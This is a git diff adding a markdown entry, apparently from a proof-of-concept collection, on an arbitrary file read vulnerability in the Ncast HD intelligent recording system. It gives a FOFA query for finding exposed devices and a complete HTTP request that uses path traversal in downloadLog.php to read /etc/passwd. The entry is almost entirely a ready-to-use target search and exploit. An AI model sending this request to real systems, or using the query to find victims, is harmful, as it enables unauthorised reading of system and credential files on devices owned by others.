diff --git a/Ncast高清智能录播系统存在任意文件读取漏洞.md b/Ncast高清智能录播系统存在任意文件读取漏洞.md
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+## Ncast高清智能录播系统存在任意文件读取漏洞
+
+## fofa
+```
+app="Ncast-产品" && title=="高清智能录播系统"
+```
+
+## poc
+```
+GET /developLog/downloadLog.php?name=../../../../etc/passwd HTTP/1.1
+Host: xxx
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Cookie: PHPSESSID=xxxx
+Connection: close
+```
+
+![f16b573778c2032b1efded155edef6e1](https://github.com/wy876/POC/assets/139549762/4e73f0f0-e917-41f2-8b8a-faf0cc44a19d)